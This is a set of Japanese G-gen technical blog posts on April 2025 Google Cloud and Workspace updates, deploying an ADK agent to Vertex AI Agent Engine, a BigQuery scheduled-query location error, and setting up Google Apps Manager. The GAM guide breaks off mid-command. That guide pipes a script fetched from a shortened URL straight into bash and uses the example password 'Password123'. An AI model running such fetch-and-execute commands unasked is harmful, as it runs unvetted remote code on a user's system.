blog.g-gen.co.jp G-gen 社は、現地から多数のセッションレポートを発表。関連記事は以下のリンクから参照。 blog.g-gen.co.jp IAM の基本ロールが刷新（Preview） Basic roles (2025-04-01) Google Cloud の基本ロール（Basic roles）が新しくなる（Preview）。 旧 : Owner (roles/owner)、Editor (roles/editor)、Viewer (roles/viewer) 新 : Admin (roles/admin)、Writer (roles/writer)、Reader (roles/reader) 内容の詳細は、以下の解説記事も参照。 参考 : IAMの基本ロールがアップデート - G-gen Tech Blog BigQuery のユーザー定義関数（UDF）が Python に対応（Preview） User-defined functions in Python (2025-04-02) BigQuery のユーザー定義関数（User-defined functions、UDF）で Python がサポートされた（Preview）。 これまで BigQuery UDF で利用できる言語は SQL と JavaScript のみだったが、新たに Python が加わった。これにより、使い慣れた Python のライブラリやロジックを BigQuery のクエリ内で直接利用できるようになり、より複雑なデータ処理や分析が可能に。 BigQuery ML で 生成 AI 関数 AI.GENERATE_* が登場（Preview） Generative AI functions (2025-04-04) BigQuery ML において、Vertex AI の Gemini モデルを利用してテキスト分析を行い、指定されたデータ型で結果を返す新しい組み込み関数群 AI.GENERATE_* が登場（Preview）。 利用可能な関数は以下の通り。 AI.GENERATE_TEXT AI.GENERATE_BOOL AI.GENERATE_INT AI.GENERATE_DOUBLE AI.GENERATE_TABLE これらの関数の利用で、SQL クエリ内で直接、テキストからのキーワード抽出、要約、感情分析などの自然言語処理タスクを実行し、その結果を構造化データとして取得することが容易になる。 -- AI.GENERATE を使用した例 (キーワード抽出) SELECT city, AI.GENERATE( ( ' Extract the key words from the text below: ' , city), connection_id => ' us.test_connection ' , endpoint => ' gemini-2.0-flash ' ).result FROM mydataset.cities; Vertex AI Agent Builder が AI Applications に改名 AI Applications release notes (2025-04-02) Vertex AI Agent Builder の名称が AI Applications に変更された。 Google Cloud コンソールや公式ドキュメント上の表記は、順次変更される。なお、API エンドポイント名（ discoveryengine.googleapis.com ）などは変更されない。 このサービスは、これまでにも何度か名称変更が行われている: Preview 時 : Generative AI App Builder（Gen App Builder） 2023年8月（GA 時）: Vertex AI Search and Conversation 2024年4月 : Vertex AI Agent Builder 2025年4月 : AI Applications BigQuery マテリアライズドビューのスマートチューニングが改善 Smart tuning (2025-04-07) BigQuery のマテリアライズドビューにおけるスマートチューニング機能が改善された。 スマートチューニングは、クエリ実行時にマテビューを利用した方が効率が良い場合に、BigQuery が自動的にクエリを書き換えてマテリアライズドビューを参照する機能。 これまでは、スマートチューニングが適用されるためには、クエリ対象のベーステーブルとマテビューが同じデータセット内に存在する必要があったが、今回のアップデートにより、 同じプロジェクト内 にあれば適用されるように条件が緩和された。これにより、より多くのクエリでスマートチューニングによるパフォーマンス向上が期待できる。 Cloud Run が Identity-Aware Proxy（IAP）をネイティブにサポート（Preview） Configure Identity-Aware Proxy for Cloud Run (2025-04-07) Cloud Run サービスが Identity-Aware Proxy（IAP）をネイティブにサポート（Preview）。 これにより、外部ロードバランサーを設定することなく、Cloud Run サービスへのアクセスに対して Google アカウント認証（組織アカウントのみ）を簡単に適用可能に。従来、Cloud Run で IAP を利用するには外部 HTTP（S）ロードバランサーの設置が必須だったが、このアップデートで構成が大幅に簡素化される。 ただし、以下の制限事項がある。 Google Workspace または Cloud Identity による組織（Organization）が必要 認証できるのは、同じ組織に所属する Google アカウントのみ カスタムドメインを利用する場合は、引き続きロードバランサーが必要 この機能の詳細や設定方法については、以下の記事も参照。 blog.g-gen.co.jp Google ドキュメントと Gmail の Help me write 機能が日本語に対応 Help me write in Google Docs now available in four additional languages (2025-04-07) Help me write in Gmail now available in Japanese and Korean (2025-04-07) Google ドキュメントおよび Gmail に搭載されている Gemini 機能「Help me write」が日本語に対応。 この機能を使うと、選択したテキストに対して、タイポの修正、文章のトーン調整（長くする、短くする、フォーマルにするなど）、リフレーズ（言い換え）などを Gemini に指示できる。文章作成を効率化し、より質の高いドキュメントやメールを作成するのに役立つ。 この機能は、2025年4月7日から順次ロールアウトされており、個人向け無償アカウントを除くほぼ全ての Google Workspace エディションで利用可能。 Gemini アプリの Deep Research で Gemini 2.5 Pro が利用可能に Google Gemini App 公式 X アカウント (2025-04-09) Gemini ウェブアプリの Gemini Advanced で利用可能な Deep Research 機能において、基盤モデルとして Gemini 2.5 Pro が利用可能になった。 Deep Research は、与えられたトピックについて Gemini が Web 上の情報を調査し、詳細なレポートを生成してくれる機能。より高性能な Gemini 2.5 Pro が利用可能になったことで、さらに質の高い調査レポートが期待できる。 Gemini in BigQuery の料金体系が改定 Gemini in BigQuery Pricing Overview (2025-04-09) Gemini in BigQuery の料金体系が改定された。 従来は Gemini Code Assist Enterprise または BigQuery Enterprise Plus エディションの購入が必要だったが、新体系ではオンデマンドおよび全ての BigQuery エディションで利用可能になった。 Google Docs のコードブロックが追加のプログラミング言語に対応 Google Docs code blocks now available in additional programming languages (2025-04-14) Google Docs のコードブロック機能が、以下の追加プログラミング言語に対応。 C# Go Kotlin PHP Rust TypeScript HTML CSS XML JSON Protobuf Textproto SQL Bash/Shell Gemini 2.5 Flash が利用可能に（Preview） Gemini 2.5 Flash (2025-04-17) Vertex AI で Gemini 2.5 Flash が利用可能になった（Preview）。 テキスト、コード、画像、音声、動画を入力として受け付け、テキストを出力する。思考に使うトークン数を制御できる Thinking Budget （思考予算）機能があり、予算を0に設定することも可能。 BigQuery に費用ベースの CUD（確約利用割引）が登場 Committed use discounts (2025-04-21) BigQuery に「費用ベースの確約利用割引（CUD）」が登場。1年または3年コミットで購入すると、以下の SKU に割引が適用される。 BigQuery editions Composer 3（BigQuery engine for Apache Airflow とも呼ばれる） BigQuery governance BigQuery services 割引率は、1年コミットで最大10%、3年コミットで最大20%。 既存の Editions コミットメントの方が割引率は高いが、この費用ベース CUD は Composer や他の SKU にも適用される点と、リージョン全体に適用される点がメリット。 Google グループが Looker グループにミラーできるように Mirror Google Groups (2025-04-22) Looker（Google Cloud core）で、Google グループの所属メンバーを Looker のグループにミラーできるようになった。これにより、Looker 上で個別にユーザーを設定する手間が省力化できる。 Firestore に確約利用割引（CUD）が登場 Committed use discounts (2025-04-22) Firestore（Native mode / Datastore mode）で費用ベースの確約利用割引（CUD）が登場。Read/Write/Delete オペレーション料金を1年または3年コミットメントで購入することで割引が適用される。 1年コミットメント : 20%割引 3年コミットメント : 40%割引 この CUD は請求先アカウントに紐づく費用ベースのものであり、全リージョンに適用される。 Compute Engine で C4D マシンタイプが登場（Preview） C4D machine series (2025-04-22) Compute Engine で C4D マシンタイプが登場（Preview）。 第5世代 AMD EPYC Turin プロセッサを搭載し、Titanium アーキテクチャを採用。前世代の C3D と比較して性能が 30% 向上したとされ、Cloud SQL for MySQL で 1 秒あたりのクエリ数が 56% 増加、Memorystore for Redis ワークロードで 1 秒あたりのオペレーション数が 38% 増加とされる。※2025-04-24現在、Cloud SQL ではまだ利用できない点に注意 Web アプリケーション、ゲーム、AI 推論など、汎用的な用途を想定。 BigQuery でクエリごとに reservation を指定可能に（Preview） Flexibly assign reservations (2025-04-23) BigQuery で、クエリ実行時に使用する reservation を明示的に指定できるように（Preview）。 従来はプロジェクトに1つだけ設定された reservation が使用された。これによりプロジェクトを作成せずに、より柔軟に reseration を利用できるようになった。 BigQuery で Reservation-based fairness が利用可能に（Preview） Reservation-based fairness (2025-04-23) BigQuery で Reservation-based fairness が Preview。この機能をオンにすると、アイドルスロットの分配方法が変わる。詳細はドキュメントを参照。 データキャンバスで Gemini assistant が利用可能に（Preview） Work with a Gemini assistant (2025-04-24) BigQuery データキャンバスで Gemini assistant が利用可能に（Preview）。 自然言語で指示すると、対象テーブルのサジェスト、クエリ作成、グラフの描画など、データ探索から分析・可視化までGeminiがアシストしてくれる。Gemini はテーブルのメタデータを読むため、メタデータ整備が重要。 組織外から共有されたファイルを開いたときに警告を表示 Enhance Your Organization’s Security with Out-of-Domain File Warnings in Google Workspace (2025-04-28) Google Workspace（Docs、Sheets、Slides）で組織外から共有されたファイルを開いたときに警告を出す設定が利用可能に。 デフォルトで有効化され、機密情報を誤って記載しないように、という意味の警告が出る。 画像は公式から引用 NotebookLM の「音声概要」が日本語に対応 NotebookLM Audio Overviews are now available in over 50 languages (2025-04-29) NotebookLM でポッドキャスト風音声を生成して概要を説明する「音声概要」が日本語を含む50以上の言語に対応した。英語以外の出力言語を指定できるようになり、流暢な日本語も生成可能になった。 NotebookLM - 出力言語の指定 Google Vids がほとんどのエディションに付帯 Expanding Google Vids to Business Starter, Enterprise Starter and Nonprofit customers (2025-04-29) 動画編集ツール Google Vids が Google Workspace Business Starter、Enterprise Starter、無償アカウントでも使えるように。 12ヶ月間は AI 補助機能も試用可能。従来は Business/Enterprise Standard 以上が必要だった。 Looker で Period-over-period measures（前期比メジャー）が利用可能に Period-over-period measures in Looker (2025-04-29) Looker で Period-over-period measures（前期比メジャー）が利用可能に。昨対比をメジャーとして簡単に作成できる。 以下は、LookML の定義の例（公式ドキュメントから引用）。 measure: order_count_last_year { type: period_over_period description: "Order count from the previous year" based_on: orders.count based_on_time: orders.created_year period: year kind: previous } Looker（Google Cloud Core）で手動バックアップが利用可能に Back up and restore a Looker (Google Cloud core) instance (2025-04-29) Looker（Google Cloud Core）で手動バックアップおよびリストアが可能に。従来は24時間ごとの自動バックアップのみだった。 内部 DB 等のデータが保存される。現在では gcloud コマンドでのみ実施可能。 Dataplex automatic discovery in BigQuery が GA Discover and catalog Cloud Storage data (2025-04-29) Dataplex automatic discovery in BigQuery が Preview→GA。Cloud Storage バケットをスキャンして構造化データは BigLake table または External tableとして、非構造化データは Object table として自動作成。 Parquet、Avro、ORC、JSONL、CSV や一部の圧縮形式に対応。 杉村 勇馬 (記事一覧) 執行役員 CTO / クラウドソリューション部 部長 元警察官という経歴を持つ現 IT エンジニア。クラウド管理・運用やネットワークに知見。AWS 12資格、Google Cloud認定資格11資格。X (旧 Twitter) では Google Cloud や AWS のアップデート情報をつぶやいています。 Follow @y_sugi_it

G-gen の堂原です。本記事では Google Cloud の Agent Development Kit を用いて開発したエージェントを、 Vertex AI Agent Engine にデプロイし、呼び出す方法について紹介します。 はじめに 本記事の趣旨 Agent Development Kit Agent Engine ADK を用いた AI エージェント開発 Agent Engine へのデプロイ デプロイした AI エージェントの呼び出し AI エージェントの削除 はじめに 本記事の趣旨 本記事では、 Agent Development Kit を使用してエージェントを開発し、 Vertex AI Agent Engine にデプロイして実際に呼び出すまでの一連の流れを、具体的なコードを交えながら解説します。 Agent Development Kit Agent Development Kit （以下、ADK）は、Google Cloud が提供する、AI エージェントを構築するための Python ライブラリです。ADK を使用することで、エージェントへの関数処理組み込みや外部ツールの利用、マルチエージェントの実装が行えます。 参考 : Agent Development Kit Agent Engine Vertex AI Agent Engine （以下、Agent Engine）は、AI エージェントの実行環境を提供するフルマネージドサービスです。 Agent Engine にはマルチターン実装のための セッション機能 が組み込まれており、通常 Gemini を用いるときのようにこれまでの会話履歴を都度リクエストに含める必要がありません。その他、 自動スケーリング 機能や VPC Service Controls による保護など、AI エージェントをプロダクトレベルで利用していくための機能が備わっています。 2025年5月現在、GUI は提供されておらず、Python SDK または REST API を用いて各種操作を行う必要があります。 参考 : Vertex AI Agent Engine の概要  |  Generative AI on Vertex AI  |  Google Cloud ADK を用いた AI エージェント開発 題材として、ユーザが都市の名前を与えると、その都市の現在時刻を回答するエージェントを開発します。以下のページで、ADK を用いて AI エージェントを作成する手順が紹介されているので、それをベースとしています。 参考 : Multi-tool agent - Agent Development Kit import datetime from zoneinfo import ZoneInfo, ZoneInfoNotFoundError from google.adk.agents import Agent def get_current_time (city: str ) -> dict : """Returns the current time in a specified city. Args: city (str): The IANA zone name of the city for which to retrieve the current time. Returns: dict: status and result or error msg. """ try : tz = ZoneInfo(city) now = datetime.datetime.now(tz) report = ( f 'The current time in {city} is {now.strftime("%Y-%m-%d %H:%M:%S %Z%z")}' ) return { "status" : "success" , "report" : report} except ZoneInfoNotFoundError: return { "status" : "error" , "error_message" : ( f "Sorry, I don't have timezone information for {city}." ), } root_agent = Agent( name= "city_time_agent" , model= "gemini-2.0-flash" , description=( "(Japanese) Agent to answer questions about the time in a city." ), instruction=( "You are a helpful agent who answers questions written in Japanese, responding in Japanese, about the time in a city." "First, obtain the IANA zone name for the city specified by the user." "Next, retrieve the current time in that city based on the IANA zone name." ), tools=[get_current_time], ) このコードでは、 Agent クラスのインスタンスとして root_agent を作成しています。 model には gemini-2.0-flash を指定し、 tools には get_current_time 関数をリストとして渡しています。 instruction では、AI エージェントの振る舞いを指示しています。 ADK で作成した AI エージェントは、関数（ここでいう get_current_time ）の名前および docstring を元に呼び出すべき関数を判断しているため、docstring は適切に記載することが推奨されます。 参考 : Overview - Agent Development Kit Agent Engine へのデプロイ 開発したエージェントのソースコードを、Agent Engine にデプロイします。デプロイにあたり、以下のソースコードを実行します。 import vertexai from vertexai import agent_engines PROJECT_ID = "{プロジェクトID}" LOCATION = "us-central1" STAGING_BUCKET = "gs://{バケット名}" vertexai.init( project=PROJECT_ID, location=LOCATION, staging_bucket=STAGING_BUCKET, ) remote_app = agent_engines.create( display_name= "city_time_agent" , description= "(Japanese) Agent to answer questions about the time in a city." , agent_engine=root_agent, requirements=[ "google-cloud-aiplatform[adk,agent_engines]" ] ) STAGING_BUCKET には、AI エージェントをデプロイする際の中間ファイルを格納するために使われる Cloud Storage バケットを指定します。 remote_app の display_name と description はメタデータであり、デプロイする AI エージェントの挙動に影響は与えません。 agent_engine で先ほどインスタンス化した root_agent を指定し、 requirements に AI エージェントが必要とするライブラリを記載します。 上記のコードを実行すると、出力の一部として以下が得られます。 Creating AgentEngine Create AgentEngine backing LRO: projects/{プロジェクト番号}/locations/us-central1/reasoningEngines/{リソースID}/operations/xxx この出力に含まれる {リソースID} が、デプロイされた Agent Engine のリソース ID となります。この ID は後ほどエージェントを呼び出す際に使用します。 デプロイした AI エージェントの呼び出し デプロイした AI エージェントを呼び出すには、まずその AI エージェントのインスタンスを取得します。先ほど取得したリソース ID を使用します。 Agent Engine へのデプロイ後にそのまま処理を続ける場合は本コードは不要で、 agent_engines.create() の返り値をそのまま利用できます。 remote_agent = agent_engines.get( "{リソースID}" ) 参考 : エージェントを使用する  |  Generative AI on Vertex AI  |  Google Cloud 次に、取得した AI エージェントに対して新しいセッションを作成し、クエリを投げます。以下のコードは、「東京の現在時刻を教えて下さい」というクエリを投げ、その結果をストリーミングで受け取る例です。 user_id = "hoge" session = remote_agent.create_session(user_id=user_id) for event in remote_agent.stream_query( user_id=user_id, session_id=session[ "id" ], message= "東京の現在時刻を教えて下さい" , ): print (event) 参考 : Agent Development Kit エージェントを使用する  |  Generative AI on Vertex AI  |  Google Cloud 上記のコードを実行すると、以下のような出力が得られます。 {'content': {'parts': [{'function_call': {'id': 'xxx', 'args': {'city': 'Asia/Tokyo'}, 'name': 'get_current_time'}}], 'role': 'model'}, 'invocation_id': 'xxx', 'author': 'city_time_agent', 'actions': {'state_delta': {}, 'artifact_delta': {}, 'requested_auth_configs': {}}, 'long_running_tool_ids': [], 'id': xxx', 'timestamp': xxx} {'content': {'parts': [{'function_response': {'id': 'xxx', 'name': 'get_current_time', 'response': {'status': 'success', 'report': 'The current time in Asia/Tokyo is 2025-04-28 18:35:35 JST+0900'}}}], 'role': 'user'}, 'invocation_id': 'xxx', 'author': 'city_time_agent', 'actions': {'state_delta': {}, 'artifact_delta': {}, 'requested_auth_configs': {}}, 'id': 'xxx', 'timestamp': xxx} {'content': {'parts': [{'text': '東京の現在の時刻は2025-04-28 18:35:35 JST+0900です。'}], 'role': 'model'}, 'invocation_id': 'xxx', 'author': 'city_time_agent', 'actions': {'state_delta': {}, 'artifact_delta': {}, 'requested_auth_configs': {}}, 'id': 'xxx', 'timestamp': xxx} 3 つ目の出力内に、AI エージェントの生成文が含まれており、東京の現在時刻が回答されていることがわかります。また、AI エージェントが get_current_time 関数を呼び出し、その結果に基づいて応答を生成している様子が確認できます。 同じ user_id と session_id を使用してクエリを投げ続けることで、マルチターンな会話も可能です。 なお、今回はローカルで Python のコードを実行してエージェントを呼び出しましたが、Agent Engine にホストしたエージェントは、別のアプリケーションやチャットツールなどから呼び出すことが可能です。また、今後は Gemini Enterprise（旧称 Google Agentspace）など他の Google サービスとの連携も強化されていくとみられています。 AI エージェントの削除 エージェントを削除する前に、そのエージェントに関連付けられているすべてのセッションを削除しておく必要があります。 以下のコードは、指定した user_id に関連付けられているすべてのセッションを削除し、その後エージェント自体を削除する例です。 user_id = "hoge" session_list = remote_agent.list_sessions(user_id=user_id) for session in session_list[ "sessions" ]: remote_agent.delete_session(user_id=user_id, session_id=session[ "id" ]) remote_agent.delete() 堂原 竜希 (記事一覧) クラウドソリューション部クラウドエクスプローラ課。2023年4月より、G-genにジョイン。 Google Cloud Partner Top Engineer 2023, 2024, 2025に選出 (2024年はRookie of the year、2025年はFellowにも選出)。休みの日はだいたいゲームをしているか、時々自転車で遠出をしています。 Follow @ryu_dohara

G-gen の杉村です。BigQuery のスケジュールされたクエリ（Scheduled queries）機能で定期的にパブリックデータセットからデータを転送しようとしたところ、Access Denied が表示されてしまいました。原因と対処法を紹介します。 事象 原因 対処 事象 BigQuery のパブリックデータセット（ bigquery-public-data ）のテーブルからデータを SELECT し、自分のプロジェクトのテーブルに INSERT する スケジュールされたクエリ （Scheduled queries）を定義しました。 参考 : クエリのスケジューリング クエリを実行すると、以下のエラーメッセージが表示されました。 エラーメッセージ Failed to start BigQuery job. Error: Access Denied: Table bigquery-public-data:samples.shakespeare: User does not have permission to query table bigquery-public-data:samples.shakespeare, or perhaps it does not exist. User: my-account@g-gen.co.jp. Please make sure the resource exists and follow http://cloud/iam/docs/granting-changing-revoking-access to grant permissions to the user. See required permissions in Transfer guides. 認証に使っているアカウントにはプロジェクトレベルで BigQuery 管理者（ roles/bigquery.admin ）ロールが付与されており、権限は足りているはずです。 スケジュールされたクエリの設定は、他の成功しているクエリと違いはないように見えます。 原因 スケジュールされたクエリを保存する際に、ジョブ実行ロケーションを us-central1 としましたが、クエリで SELECT 対象としているパブリックデータセットは US マルチリージョンに存在しています。このロケーションの違いが原因でした。 BigQiuery ジョブは、 実行ロケーションと同じロケーションのデータセットにしかアクセスできない ため、スケジュールされたクエリの実行が失敗したのでした。 失敗したクエリ SELECT 対象のデータセット なお、 US マルチリージョンと us-central1 などその他の米国リージョンは、異なるロケーションとして扱われます。 対処 スケジュールされたクエリを、ジョブ実行対象のデータセットと同じ US マルチリージョンで作成する必要があります。 スケジュールされたクエリは一度作成するとジョブ実行ロケーションを変更できないため、同じ設定でロケーションだけを変更し、スケジュールを作成しなおしました。 成功するクエリ また、Destination table や INSERT 文で指定するデータ転送先の宛先データセットも、同じロケーションである必要があります。BigQuery は基本的に、ロケーション（リージョン）をまたいだデータ転送はできないためです。 参考 : クエリのスケジューリング - サポートされるリージョン 別のロケーションにデータを転送するためには、BigQuery Data Transfer Service のデータセットコピー機能や、クロスリージョン・データセットレプリケーション機能などの利用を検討します。 blog.g-gen.co.jp blog.g-gen.co.jp また、スケジュールされたクエリの宛先データセットやテーブルは、クエリと同じプロジェクト内に存在する必要がある点にもご留意ください。 参考 : クエリのスケジューリング - 宛先テーブル 杉村 勇馬 (記事一覧) 執行役員 CTO / クラウドソリューション部 部長 元警察官という経歴を持つ現 IT エンジニア。クラウド管理・運用やネットワークに知見。AWS 12資格、Google Cloud認定資格11資格。X (旧 Twitter) では Google Cloud や AWS のアップデート情報をつぶやいています。 Follow @y_sugi_it

G-gen の三浦です。当記事では Google Apps Manager（以下、GAM）を使用し、Google Workspace の設定をコマンドライン（以下、CLI）で管理する方法を紹介します。 概要 Google Apps Manager（GAM） とは 注意事項 検証内容 GAM のセットアップ [Google Cloud] GAM をインストール [Google Workspace] GAM アプリから Google Workspace へのアクセス許可 [Google Cloud] OAuth クライアントの作成 [Google Workspace] OAuth クライアントから Google Workspace へのアクセス許可 [Google Cloud] 管理者アカウントで GAM の操作を許可 [Google Workspace] OAuth クライアントから API アクセスの許可 [Google Cloud] GAM のインストール確認 GAM の検証 ユーザー管理 ユーザーの一覧を出力 ユーザーの作成、削除 2段階認証のステータス確認 グループ管理 グループ一覧の出力 グループメンバーの追加 共有ドライブの作成 共有ドライブの作成 共有ドライブへメンバーの追加 概要 Google Apps Manager（GAM） とは Google Apps Manager （GAM）とは、 Google Workspace の管理を CLI で実行するためのツールです。 GAM を使用すると、次のような管理業務を効率化できます。 例 説明 ユーザー・グループ管理 ユーザー作成・更新・削除やグループメンバーの一括処理ができます。 2段階認証の確認 全ユーザーの2段階認証（2SV）の有効状況を一覧化し、リマインド通知に使用できます。 デバイスの一覧取得 組織内のモバイル端末や Chrome デバイス情報を取得し、不審端末を特定できます。 共有ドライブ管理 共有ドライブの作成やメンバー管理を CLI で実施できます。 参考 : サードパーティ製ツールを使用して大規模なプロビジョニングを短時間で行う 参考 : GAM 注意事項 以下の公式ドキュメントに記載されているとおり、 GAM はオープンソースのサードパーティ製ソリューションです。そのため、 Google 社のサポート対象外 となります。 参考 : サードパーティ製ツールを使用して大規模なプロビジョニングを短時間で行う 検証内容 検証手順は次のとおりです。 項番 内容 説明 1 GAM のセットアップ Cloud Shell を使い、GAM をセットアップします。 2 ユーザー管理 ユーザー情報の確認、新規作成、削除を行います。 3 グループ管理 グループの作成、メンバー追加を行います。 4 共有ドライブの作成 共有ドライブの作成、メンバー追加を行います。 GAM のセットアップ [Google Cloud] GAM をインストール Google Cloud （旧称 GCP ）コンソール（ https://console.cloud.google.com ）にログインし、 Cloud Shell を有効化します。 参考 : Cloud Shell を使用する 以下のコマンドで GAM のインストーラーをダウンロードして実行します。 bash < ( curl -s -S -L https://git.io/gam-install ) 参考 : Downloads-Installs-GAM7 以下のプロンプトが順に表示されます。指示のとおりに入力して進めます。 # Linux 環境のため "N" を入力 Can you run a full browser on this machine? ( usually Y for MacOS, N for Linux if you SSH into this machine ) N # セットアップを続けるために "yes" を入力 GAM is now installed. Are you ready to set up a Google API project for GAM? (yes or no ) yes # Google Workspace の管理者のメールアドレスを入力 Please enter your Google Workspace admin email address: admin@mail.com [Google Workspace] GAM アプリから Google Workspace へのアクセス許可 以下の手順が表示されます。指示のとおりに入力して進めます。この間、ターミナルは操作せず、そのままにします。 手順の表示 1. の上部に表示されている URL にアクセスし、[新しいアプリを設定] を選択します。 新しいアプリを設定を選択 手順2. に表示されている ID を入力し、[検索] を選択します。 GAM Project Creation が表示されるので、選択します。 検索を実施 GAM Project Creation を選択 GAM 経由で操作する範囲を選択し、[続行] を選択します。特定の組織部門のみを管理する場合は、対象の組織部門を選択します。 操作範囲を選択 [信頼できる] を選択し、[続行] を選択します。 信頼できるを選択 内容を確認し、[完了] を選択します。 内容の確認 設定が完了したら、 Cloud Shell のターミナルに戻ります。 Enter キーを押下すると、以下が表示されます。 手順の表示 表示された URL にアクセスし、GAM に対して管理者アカウントへのアクセスを許可します。 GAM へのアクセス許可 前手順で [許可] を選択すると、以下エラーが表示されるので、URL をコピーします。 エラーの表示とURLのコピー Cloud Shell のターミナルに戻ります。 Enter verification code or paste の項目にコピーした URL を貼り付け、 Enter キーを押下します。 URL を貼り付け [Google Cloud] OAuth クライアントの作成 以下が表示されます。手順に従って実行します。ターミナルは操作せず、このままにします。 手順の表示 1. の上部に表示されている URL にアクセスし、[開始] を選択します。 開始を選択 以下の情報を入力し、[次へ] を選択します。 アプリ名： 任意のアプリ名 ユーザーサポートメール： 管理者のメールアドレスを指定 アプリ情報を入力 参考 : Manage OAuth App Branding [内部] を選択し、[次へ] を選択します。 対象の選択 任意のメールアドレスを入力し、[次へ] を選択します。 連絡先情報の入力 ポリシーを確認の上で、[同意します] を選択し、[続行] > [作成] を選択します。 ポリシーへの同意とクライアントの作成 [クライアント] > [+ クライアントを作成] を選択します。 クライアントを作成を選択 デスクトップ アプリ を選択し、任意のアプリ名を入力し、[作成] を選択します。 OAuth クライアント ID の作成 作成後に表示される クライアント ID と クライアント シークレット をコピーします。 クライアント情報の確認 Cloud Shell のターミナルに戻り、コピーした クライアント ID と クライアント シークレット をペーストし、Enter キーを入力します。 # クライアント ID をペースト Enter your Client ID: # クライアント シークレットをペースト Enter your Client Secret: [Google Workspace] OAuth クライアントから Google Workspace へのアクセス許可 以下が表示されるので、手順に従って実行します。ターミナルは操作せずに、このままにします。 手順の表示 1. の上部の URL（ https://admin.google.com/ac/owl/list?tab=configuredApps ）へアクセスし、[新しいアプリを設定] を選択します。 新しいアプリを設定を選択 2. で表示されている ID を入力し、[検索] を選択し、前手順で作成したアプリ名が表示されていることを確認し、選択します。 作成したアプリの選択 GAM 経由で操作する範囲を選択し、[続行] を選択します。特定の組織部門のみ操作したい場合、対象の組織部門を選択します。 範囲の選択 [信頼できる] を選択し、[続行] を選択します。 信頼できるを選択 内容を確認し、[完了] を選択します。 内容の確認 [Google Cloud] 管理者アカウントで GAM の操作を許可 Cloud Shell のターミナルに戻り、Enter キーを入力すると、以下が表示されるので、 yes と入力し、Enter キーを押下します。 # `yes`と入力し、GAM に管理者アカウントとして Google Workspace を操作する権限を与えるための OAuth 認証を開始します。 Are you ready to authorize GAM to perform Google Workspace management operations as your admin account? ( yes or no ) yes 以下が表示されるので、GAM に許可する API のスコープ（アクセス範囲）を選択します。 s → c の順に入力すると、一般的な管理操作に必要な標準スコープが一括で選択され、認証が続行されます。 GAMの権限を選択 以下が表示されます。表示されている URL へアクセスし、管理者アカウントを選択して、前の手順で作成した OAuth クライアントにログインします。 手順の表示 ログインを実施 各種 Google Workspace リソースへのアクセスを許可します。 アプリへ Google Workspace へのアクセスを許可 前手順で [許可] を選択すると、以下エラーが表示されるので、URL をコピーします。 エラーの表示とURLのコピー Cloud Shell のターミナルに戻り、 Enter verification code or paste の項目にコピーした URL をペーストし、Enter キーを押下します。 URLをペースト 以下のプロンプトが順に表示されるので、指定の通りに入力して進めます。 # `yes` と入力し、GAM に Google Workspace のユーザーデータや設定へのアクセスを許可します Are you ready to authorize GAM to manage Google Workspace user data and settings? ( yes or no ) yes # Google Workspace の管理者のメールアドレスを入力 Please enter the email address of a regular Google Workspace user: admin@mail.com [Google Workspace] OAuth クライアントから API アクセスの許可 以下が表示されるので、表示されている URL へアクセスします。 ※ この時点では、まだ Google Workspace API を利用する権限を付与していないため、 FAIL となります。 手順の表示 [承認] を選択し、OAuth クライアントに対して、各種 Google Workspace 関連 API へのアクセスを許可します。 Google Workspace API の利用を許可 Cloud Shell のターミナルに戻り、 yes と入力して、 Enter キーを入力します。 # `yes`を入力し、GAM に Google Workspace のユーザーデータや設定へのアクセスを許可します。 Are you ready to authorize GAM to manage Google Workspace user data and settings? ( yes or no ) yes セットアップが完了したことを確認します。 セットアップ完了 [Google Cloud] GAM のインストール確認 前手順で表示されていたコマンドで、GAM コマンド用のエイリアスを設定します。 コマンドの確認 以下コマンドで GAM のバージョンが表示されることを確認します。 gam version GAM コマンドの結果確認 GAM の検証 ユーザー管理 ユーザーの一覧を出力 以下コマンドでユーザー基本情報を一覧で取得（メールアドレス、氏名、ステータス）できます。 gam print users fields primaryEmail name suspended 　 # 出力例 Getting all Users, may take some time on a large Google Workspace Account... Got 1 User: admin@miurak-test.com - admin@miurak-test.com primaryEmail,name.givenName,name.familyName,name.fullName,name.displayName,suspended,suspensionReason admin@miurak-test.com,健斗,三浦,三浦健斗,,False, 参考 : Print user details 以下のように todrive を指定することで、実行結果をスプレッドシートに保存できます。 gam print users fields primaryEmail name suspended todrive 　 # 出力例 Getting all Users, may take some time on a large Google Workspace Account... Got 1 User: admin@miurak-test.com - admin@miurak-test.com Data uploaded to Drive File: https://docs.google.com/spreadsheets/d/XXXXX/edit? usp =drivesdk Recipient: admin@miurak-test.com, Message: miurak-test.com - Users, Email Sent: 195fa4bb292959b7 https://docs.google.com/spreadsheets/d/XXXXX/edit? usp =drivesdk 実行結果 ユーザーの作成、削除 以下コマンドで新規ユーザーの作成できます。この場合、作成したユーザーは test という組織部門に所属します。 gam create user taro.yamada@miurak-test.com firstname Taro lastname Yamada password " Password123 " org / test 　 # 出力例 User: taro.yamada@miurak-test.com, Created 参考 : Create a user ユーザーの新規作成確認 以下コマンドでユーザーの削除できます。 gam delete user taro.yamada@miurak-test.com 　 # 出力例 User: taro.yamada@miurak-test.com, Deleted 参考 : Delete or suspend users 2段階認証のステータス確認 以下コマンドでユーザーの2段階認証の設定状況が確認できます。 isEnrolledIn2Sv が False の場合、2段階認証が無効となります。 # 全ユーザーの 2SV（2段階認証）設定状況を確認 gam print users fields primaryEmail isEnrolledIn2Sv 　 # 出力例 Getting all Users, may take some time on a large Google Workspace Account... Got 2 Users: admin@miurak-test.com - taro.yamada@miurak-test.com primaryEmail,isEnrolledIn2Sv admin@miurak-test.com,True taro.yamada@miurak-test.com,False # False のため、本ユーザーは2段階認証が無効です 本コマンドも同様に todrive を指定することで、実行結果をスプレッドシートに保存できます。 グループ管理 グループ一覧の出力 以下コマンドで全グループの一覧とメンバー数を出力できます。 # 全グループの情報を一覧で出力 gam print groups fields email name directMembersCount 　 # 出力例 Getting all Groups, may take some time on a large Google Workspace Account.. email,name,directMembersCount test-security@miurak-test.com,test-security,,False, 1 test123@miurak-test.com, test ,,True, 2 参考 : Display information about selected groups 以下コマンドで全グループのメンバーを出力できます。 # すべてのグループのメンバーを一覧出力 gam print group-members 　 # 出力結果 Getting all Members, Managers, Owners for test-security@miurak-test.com ( 1 / 1 ) Got 1 Member, Manager, Owner for test-security@miurak-test.com... group, type ,role,id, status ,email test-security@miurak-test.com,USER,MEMBER, 101148376274234144710 ,ACTIVE,admin@miurak-test.com 参考 : Display group membership in CSV format グループメンバーの追加 以下コマンドでグループにメンバーを追加できます。 # グループにユーザーを追加 gam update group test-security@miurak-test.com add member user taro.yamada@miurak-test.com 　 # 